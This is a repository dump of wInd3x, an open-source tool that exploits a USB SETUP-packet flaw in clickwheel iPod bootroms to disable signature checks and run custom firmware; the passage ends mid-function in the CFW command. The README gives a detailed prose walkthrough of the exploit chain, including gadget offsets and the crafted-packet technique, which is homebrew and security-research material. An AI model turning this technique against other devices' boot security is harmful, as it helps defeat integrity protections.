Repository: freemyipod/wInd3x Branch: main Commit: 4d2a4f1a73f9 Files: 78 Total size: 328.2 KB Directory structure: gitextract_6fef_fhp/ ├── .github/ │ └── ISSUE_TEMPLATE/ │ └── bug_report.md ├── .gitignore ├── COPYING ├── README.md ├── cmd/ │ └── wInd3x/ │ ├── app.go │ ├── cmd_cfw.go │ ├── cmd_decrypt.go │ ├── cmd_download.go │ ├── cmd_dump.go │ ├── cmd_haxdu.go │ ├── cmd_makedfu.go │ ├── cmd_mse.go │ ├── cmd_nand_read.go │ ├── cmd_nor_read.go │ ├── cmd_restore.go │ ├── cmd_run.go │ ├── cmd_spew.go │ └── main.go ├── default.nix ├── go.mod ├── go.sum ├── pkg/ │ ├── app/ │ │ └── app.go │ ├── cache/ │ │ ├── cache.go │ │ ├── cache_test.go │ │ └── phobos.go │ ├── cfw/ │ │ ├── cfw.go │ │ ├── defang_wtf.go │ │ └── fixup.go │ ├── devices/ │ │ ├── devices.go │ │ └── usb.go │ ├── dfu/ │ │ └── dfu.go │ ├── efi/ │ │ ├── compression/ │ │ │ ├── COPYING.edk2.txt │ │ │ ├── build.sh │ │ │ ├── compression.go │ │ │ ├── compression_runtime.go │ │ │ ├── compression_test.go │ │ │ ├── compression_wazero.go │ │ │ └── edk2.wasm │ │ ├── efi.go │ │ ├── file.go │ │ ├── sections.go │ │ └── volume.go │ ├── exploit/ │ │ ├── decrypt/ │ │ │ └── decrypt.go │ │ ├── dumpmem/ │ │ │ └── dumpmem.go │ │ ├── exploit.go │ │ ├── haxeddfu/ │ │ │ └── haxeddfu.go │ │ ├── s5late_n7g.go │ │ ├── wind3x_n3g.go │ │ └── wind3x_n45g.go │ ├── image/ │ │ └── image.go │ ├── mse/ │ │ ├── modifications.go │ │ └── mse.go │ ├── syscfg/ │ │ └── syscfg.go │ ├── uasm/ │ │ ├── insns.go │ │ ├── operands.go │ │ ├── uasm.go │ │ └── uasm_test.go │ └── usbms/ │ ├── ipod.go │ ├── scsi.go │ └── usbms.go └── web/ ├── .gitignore ├── COPYING ├── Makefile ├── README.md ├── index.html ├── package.json ├── server/ │ ├── README.md │ └── main.go ├── shell.nix ├── src/ │ ├── components.ts │ ├── edk2.ts │ └── go.ts ├── tsconfig.json └── wiwali/ ├── README.md ├── main.go ├── store.go ├── usb.go └── wiwali.wasm ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug report about: Create a report to help us improve title: '' labels: '' assignees: q3k --- **Describe the bug** A clear and concise description of what the bug is. **Tell us which iPod model you're targeting** Eg. iPod Nano 3G, 5G, etc. **Tell us where you're running wInd3x** We need to know: 1. What hardware are you running on? 2. What OS are you using? Provide details, eg. Linux distribution and kernel version or otherwise the OS version. ================================================ FILE: .gitignore ================================================ /.idea/ /wInd3x result **swp **swo ================================================ FILE: COPYING ================================================ GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. ================================================ FILE: README.md ================================================ wInd3x ====== Tethered clickwheel iPod bootrom/DFU exploit tool. Implements 'wInd3x' exploit (described below) and [s5late](https://github.com/m-gsch/S5Late/) exploit by gsch. | Device | Haxed DFU | Decrypt/Dump | CFW | Exploit | Notes | |--------------|---------------|--------------|--------------|-------------------|--------------| | Nano 3G | **YES** | **YES** | soon | wInd3x | | | Nano 4G | **YES** | **YES** | soon | wInd3x | | | Nano 5G | **YES** | **YES** | **YES** | wInd3x | | | Nano 6G | soon | soon | soon | | | | Nano 7G | **YES** | **YES** | **YES** | s5late -> wInd3x | | | Classic “6G” | **YES** | **YES** | soon | wInd3x | Experimental | | iPod Touch | never | never | never | | | Host OS support -------- **Nano 4G and Nano 5G exploitation (haxdfu/cfw run/dump/decrypt/etc) works only on Linux due to the way the vulnerability is exploited on these platforms. Running it on Linux in a VM will not work.** Every other device and functionality should work on any operating system that wInd3x can be built on, but still only Linux is regularly tested and supported. As a workaround, please consider running wInd3x from a Raspberry Pi. **NOTE**: This might change as wIndex gets ported to use S5Late on all generations. Building -------- You'll need go and libusb. Then: $ go build ./cmd/wInd3x Or, if you have Nix(OS), just do: $ nix-build We're working on making this easier to build and providing pre-built binaries. Running ------- Put your iPod into DFU mode by connecting it over USB, holding down menu+select until it reboots, blanks the screen, then shows the Apple logo, then blanks the screen again. The iPod should enumerate as 'USB DFU Device'. Then, run `wInd3x haxdfu` to put the iPod into 'haxed DFU' mode. This is a modified DFU mode that allows booting any DFU image, including unsigned and unencrypted ones. The mode is temporary, and will be active only until next (re)boot, the exploit does not modify the device permanently in any way. $ ./wInd3x haxdfu [...] 2021/12/31 00:59:15 Haxed DFU running! You can then use any DFU tool to upload any DFU image and the device should boot it. You can also use the `run` subcommand to wInd3x to make it immediately send a file as a DFU image after starting haxed DFU mode (if needed): $ ./wInd3x run wtf-test.dfu [...] 2022/01/06 00:06:56 Uploading wtf-test.dfu... 2022/01/06 00:06:56 Image sent. Running U-Boot and Linux ------------------------ See [freemyipod.org/Linux](https://freemyipod.org/Linux) for instructions. Running Rockbox --------------- No Rockbox port is available for the supported platform(s) ... yet. Haxed DFU Mode -------------- When in haxed DFU mode, the DFU will continue as previously, and you will still be able to send properly signed and encrypted images (like WTF). However, signature checking (in header and footer) is disabled. What this means: - Images with format '3' (like WTF) will not be sigchecked, but will be decrypted. - Images with format '4' will not be sigchecked and will not be decrypted. - Pwnage 2.0 images *might* work if they are built to be able to run without having to exploit footer signature checking. **Nano3G/Classic Note:** haxed DFU currently always boots images as unencrypted. We will change things around soon on all generations and use format '0' for unencrypted instead, and check explicitly for that type. To make your own DFU images, you should thus make format '4' images, not encrypt them and not sign them. Building DFU Images ------------------- If you have a flat binary file which expects to run from DFU mode and be loaded at address 0x22000000, you can use the `makedfu` command to wrap it in a Haxed DFU compatible DFU image. $ ./wInd3x makedfu flat.bin image.dfu -k n5g If the entrypoint is not at the beginning of the file, an offset can be provided with `-e 0xf00`. Dumping Memory -------------- wInd3x also supports memory reads from a running bootrom. For example, to dump the bootrom's code to a file: $ ./wInd3x dump 0x20000000 0x10000 /tmp/bootrom.bin [...] 2022/01/06 03:10:08 Dumping 20000000... 2022/01/06 03:12:41 Dumping 2000ffc0... 2022/01/06 03:12:41 Done! This will take a few minutes. Ignore any 'libusb: interrupted' errors, these are just spurous debug logs from gousb. Decrypting Images ----------------- wInd3x can decrypt IMG1 files (eg. a WTF) using a locally-connected device. These decrypted and unsigned images can then be loaded via Haxed DFU. $ ./wInd3x decrypt WTF.x1225.release.dfu wtf-dec.dfu 2022/01/06 04:20:08 Parsed Nano 4G image. 2022/01/06 04:20:08 Decrypting 1e800 bytes... 2022/01/06 04:20:08 Decrypting first block... 2022/01/06 04:20:08 Decrypting 0x40... [...] This will take a few minutes. Ignore any 'libusb: interrupted' errors, these are just spurous debug logs from gousb. If you decrypted a valid WTF image, you should be able to then run it: $ ./wInd3x run wtf-dec.dfu CFW --- wInd3x has support for 'CFW' (custom firmware), which is the ability to run modified RetailOS binaries or custom payloads like U-Boot from BootROM DFU mode. Usually, the device boot flow is as follows: BootROM -> Bootloader (NAND) -> RetailOS (NAND) In recovery mode, the device boot flow is as follows: BootROM -> WTF (DFU) -> Disk Mode (DFU) In our CFW mode, the device boot flow is as follows: BootROM -> WTF, defanged (DFU) -> Modified RetailOS/U-Boot/... (DFU) wInd3x packages an all-in-one workflow for running the target payload under the `wInd3x cfw run` command. For example, you could run a modified RetailOS as follows after connecting an N7G in DFU mode: $ ./wInd3x download retailos n7g-retailos.bin $ ./wInd3x decrypt n7g-retailos.bin n7g-retailos.bin.dec $ # hack on n7g-retailos.bin.dec.... $ ./wInd3x cfw run n7g-retailos.bin.dec Known issues ============ 1. Decryption/dumping is slow, as every 0x30/0x40 we run the exploit again. We should find a better way to get code execution for this kind of tasks. wInd3x Vulnerability ==================== This exploits a vulnerability in the standard SETUP packet parsing code of the bootrom, in which the wIndex parameter is not checked for bmRequest == {0x20, 0x40}, but is still used to index an array of interface/class handlers (that in the Bootrom has a length of 1). Nano 4G and 5G Exploit Chain -------------------- The first requirement is to find a suitable (blx r0) instruction in the bootrom code of the device. For Nano 4G the only one such instruction is at offset 0x3b0, and for Nano 5G there is such instruction at 0x37c. We'll refer to it as X below. We abuse the fact that wIndex == 3 for bmRequest 0x40 treats a 'bytes left to sent over USB' counter as a function pointer and calls it with r0 == address of SETUP. We massage the DFU mode into attempting to send us X+0x40 bytes, and failing after 0x40 bytes, thereby leaving the counter at X bytes and executing code at address X. Since the bootrom is mapped at offset 0x0 as well as 0x20000000 at boot, this means we execute bootrom code, and X happens to point to a 'blx r0' instruction. This in turn causes the CPU to interpret the SETUP packet received as ARM code, because the SETUP handler is called with the SETUP packet as its argument, i.e. r0. We specially craft the SETUP packet to be a valid ARM branch instruction, pointing somewhere into a temporary DFU image buffer. By first sending a payload as a partial DFU image (aborting before causing a MANIFEST), we finally get up to be able to execute either 0x800 on Nano 4G or 0x400 on Nano 5G bytes of fully user controlled code. In that payload, we send a stub which performs some runtime changes to the DFU's data structures to a) return a different product string b) overwrite an image verification vtable entry with a function that allows unsigned images. Some SRAM is carved out by this payload to store the modified vtable and custom verification function. Nano 3G and Classic (”6G”) -------------------------- With bRequestType == 0x20 and wIndex == 6 we directly jump to code execution at the SETUP packet. This Bootroom does not have a VTable which can be easily hooked to override functions to provide Haxed DFU functionality. However, an 'OnImage' function pointer is present in the State structure, which we override with our own code (copied to carved out SRAM). This code reimplements the bare minimum of the hooked function, without calling any decryption/verification code on the header/body. Nano 6G and 7G -------------- The vulnerability does not appear to exist on these devices. Either it was fixed or the USB stack has replaced with a different codebase. iPhone, iPod Touch ------------------ This vulnerability does not exist on non-clickwheel-iPods, as those use a different bootrom (SecureROM/iBoot) that has a different USB stack. Support ======= IRC: #freemyipod on libera.chat License ======= Copyright (C) 2022 Serge 'q3k' Bazanski (q3k@q3k.org) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. ================================================ FILE: cmd/wInd3x/app.go ================================================ package main import ( "context" "fmt" "time" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/exploit" "github.com/google/gousb" "github.com/hashicorp/go-multierror" ) type desktopApp struct { ctx *gousb.Context app.App } type desktopUsb struct { usb *gousb.Device done func() } func (d *desktopUsb) UseDefaultInterface() error { _, done, err := d.usb.DefaultInterface() if err != nil { return err } d.done = done return nil } func (d *desktopUsb) UseDiskInterface() (devices.UsbMsEndpoints, error) { out := devices.UsbMsEndpoints{} if err := d.usb.SetAutoDetach(true); err != nil { return out, err } cfgNum, err := d.usb.ActiveConfigNum() if err != nil { return out, err } cfg, err := d.usb.Config(cfgNum) if err != nil { return out, err } i, err := cfg.Interface(0, 0) if err != nil { return out, err } eps := d.usb.Desc.Configs[cfg.Desc.Number].Interfaces[0].AltSettings[0].Endpoints for _, ep := range eps { var err error switch ep.Direction { case gousb.EndpointDirectionIn: out.In, err = i.InEndpoint(ep.Number) case gousb.EndpointDirectionOut: out.Out, err = i.OutEndpoint(ep.Number) } if err != nil { return out, err } } if out.In == nil || out.Out == nil { return out, fmt.Errorf("did not find both IN and OUT endpoint on mass storage interface") } return out, nil } func (d *desktopUsb) Control(rType, request uint8, val, idx uint16, data []byte) (int, error) { v, err := d.usb.Control(rType, request, val, idx, data) if err == gousb.ErrorTimeout { err = devices.UsbTimeoutError } return v, err } func (d *desktopUsb) SetControlTimeout(dur time.Duration) error { d.usb.ControlTimeout = dur return nil } func (d *desktopUsb) GetStringDescriptor(descIndex int) (string, error) { return d.usb.GetStringDescriptor(descIndex) } func (d *desktopUsb) Close() error { if d.done != nil { d.done() d.done = nil } return d.usb.Close() } func (d *desktopApp) Close() error { if err := d.Usb.Close(); err != nil { return fmt.Errorf("when closing USB device: %w", err) } if err := d.ctx.Close(); err != nil { return fmt.Errorf("when closing context: %w", err) } return nil } func newDFU() (*desktopApp, error) { ctx, err := newContext() if err != nil { return nil, fmt.Errorf("failed to initialize USB: %w", err) } var errs error for _, deviceDesc := range devices.Descriptions { pid, ok := deviceDesc.PIDs[devices.DFU] if !ok { continue } usb, err := ctx.OpenDeviceWithVIDPID(gousb.ID(deviceDesc.VID), gousb.ID(pid)) if err != nil { errs = multierror.Append(errs, err) } if usb == nil { continue } app := &desktopApp{ ctx, app.App{ Usb: &desktopUsb{usb: usb}, InterfaceKind: devices.DFU, Desc: &deviceDesc, Ep: exploit.ParametersForKind[deviceDesc.Kind], }, } return app, app.PrepareUSB() } if errs == nil { return nil, fmt.Errorf("no device found") } return nil, errs } func newAny() (*desktopApp, error) { ctx, err := newContext() if err != nil { return nil, fmt.Errorf("failed to initialize USB: %w", err) } var errs error for _, deviceDesc := range devices.Descriptions { for _, ik := range []devices.InterfaceKind{devices.DFU, devices.WTF, devices.Disk} { pid, ok := deviceDesc.PIDs[ik] if !ok { continue } usb, err := ctx.OpenDeviceWithVIDPID(gousb.ID(deviceDesc.VID), gousb.ID(pid)) if err != nil { errs = multierror.Append(errs, err) } if usb == nil { continue } app := &desktopApp{ ctx, app.App{ Usb: &desktopUsb{usb: usb}, InterfaceKind: ik, Desc: &deviceDesc, Ep: exploit.ParametersForKind[deviceDesc.Kind], }, } return app, app.PrepareUSB() } } if errs == nil { return nil, fmt.Errorf("no device found") } return nil, errs } func (a *desktopApp) waitSwitch(ctx context.Context, ik devices.InterfaceKind) error { for { pid, ok := a.Desc.PIDs[ik] if !ok { return fmt.Errorf("device does not support interface kind %v", ik) } usb, err := a.ctx.OpenDeviceWithVIDPID(gousb.ID(a.Desc.VID), gousb.ID(pid)) if a.Desc.Kind == devices.Nano7 && ik == devices.WTF && usb == nil && err == nil { // special case for Nano7Late as the DFU ids are the same as Nano7 // but the WTF ids are not desc := devices.Nano7Late.Description() pid, ok = desc.PIDs[ik] if !ok { return fmt.Errorf("device does not support interface kind %v", ik) } usb, err = a.ctx.OpenDeviceWithVIDPID(gousb.ID(desc.VID), gousb.ID(pid)) } if err != nil { return err } if usb != nil { a.Usb.Close() a.InterfaceKind = ik a.Usb = &desktopUsb{usb: usb} return a.PrepareUSB() } select { case <-ctx.Done(): return ctx.Err() case <-time.After(time.Second): } } } func newContext() (*gousb.Context, error) { resC := make(chan *gousb.Context) errC := make(chan error) go func() { defer func() { if r := recover(); r != nil { errC <- fmt.Errorf("%v", r) } }() resC <- gousb.NewContext() }() select { case err := <-errC: return nil, err case res := <-resC: return res, nil } } ================================================ FILE: cmd/wInd3x/cmd_cfw.go ================================================ package main import ( "bytes" "context" "fmt" "log/slog" "os" "slices" "time" "github.com/spf13/cobra" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/cache" "github.com/freemyipod/wInd3x/pkg/cfw" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/efi" "github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu" "github.com/freemyipod/wInd3x/pkg/image" ) var cfwCmd = &cobra.Command{ Use: "cfw", Short: "Custom firmware generation (EXPERIMENTAL)", Long: "Build custom firmware bits. Very new, very undocumented. Mostly useful for devs.", } type findVisitor struct { want []string found []*efi.FirmwareFile } func (v *findVisitor) Done() error { return nil } func (v *findVisitor) VisitFile(file *efi.FirmwareFile) error { for _, section := range file.Sections { if section.Header().Type == efi.SectionTypeUserInterface { name := string(bytes.ReplaceAll(section.Raw(), []byte{0}, []byte{})) if slices.Contains(v.want, name) { slog.Debug("Found", "name", name) v.found = append(v.found, file) } } } return nil } func (v *findVisitor) VisitSection(section efi.Section) error { return nil } func superdiags(app *app.App) ([]byte, error) { diagb, err := cache.Get(app, cache.PayloadKindDiagsDecrypted) if err != nil { return nil, fmt.Errorf("when getting diags: %w", err) } diagi, err := image.Read(bytes.NewReader(diagb)) if err != nil { return nil, fmt.Errorf("when reading diags: %w", err) } diag, err := efi.ReadVolume(efi.NewNestedReader(diagi.Body)) if err != nil { return nil, fmt.Errorf("when reading diags fv: %w", err) } bootb, err := cache.Get(app, cache.PayloadKindBootloaderDecrypted) if err != nil { return nil, fmt.Errorf("when getting bootloader: %w", err) } booti, err := image.Read(bytes.NewReader(bootb)) if err != nil { return nil, fmt.Errorf("when reading bootloader: %w", err) } boot, err := efi.ReadVolume(efi.NewNestedReader(booti.Body)) if err != nil { return nil, fmt.Errorf("when reading bootloader fv: %w", err) } fv := &findVisitor{ want: []string{ "DiskIoDxe", "Partition", "Image1FSReadOnly", "Nand", }, } if err := cfw.VisitVolume(boot, fv); err != nil { return nil, fmt.Errorf("when visiting bootloader: %w", err) } if want, got := len(fv.want), len(fv.found); want != got { return nil, fmt.Errorf("did not find all requested modules (wanted %v, got %d)", fv.want, len(fv.found)) } slog.Debug("Before append", "files", len(diag.Files)) diag.Files = append(diag.Files, fv.found...) slog.Debug("After append", "files", len(diag.Files)) diagb, err = diag.Serialize() if err != nil { return nil, fmt.Errorf("could not serialize superdiags fv: %w", err) } diagbi, err := image.MakeUnsigned(diagi.DeviceKind, diagi.Header.Entrypoint, diagb) if err != nil { return nil, fmt.Errorf("could not make superdiags image: %w", err) } return diagbi, nil } var cfwSuperdiagsCmd = &cobra.Command{ Use: "superdiags", Short: "Run superdiags", Long: "Run superdiags (diag with extra Nand driver). If your iPod has a connected DCSD cable, you'll be able to access a console over it.", RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() diags, err := superdiags(&app.App) if err != nil { return err } wtf, err := cache.Get(&app.App, cache.PayloadKindWTFDefanged) if err != nil { return err } if err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil { return fmt.Errorf("failed to run wInd3x exploit: %w", err) } slog.Info("Sending defanged WTF...") if err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil { return fmt.Errorf("failed to send image: %w", err) } slog.Info("Waiting 10s for device to switch to WTF mode...") ctx, ctxC := context.WithTimeout(cmd.Context(), 10*time.Second) defer ctxC() if err := app.waitSwitch(ctx, devices.WTF); err != nil { return fmt.Errorf("device did not switch to WTF mode: %w", err) } time.Sleep(time.Second) slog.Info("Sending diags...") for i := 0; i < 10; i++ { err = dfu.SendImage(app.Usb, diags, app.Desc.Kind.DFUVersion()) if err == nil { break } else { slog.Error("Error when sending diags", "err", err) time.Sleep(time.Second) } } if err != nil { return err } slog.Info("Done.") return nil }, } var cfwRunCmd = &cobra.Command{ Use: "run [firmware]", Short: "Run CFW", Long: "Run CFW based on modified WTF and firmware (eg. modified OSOS or u-boot)", Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() 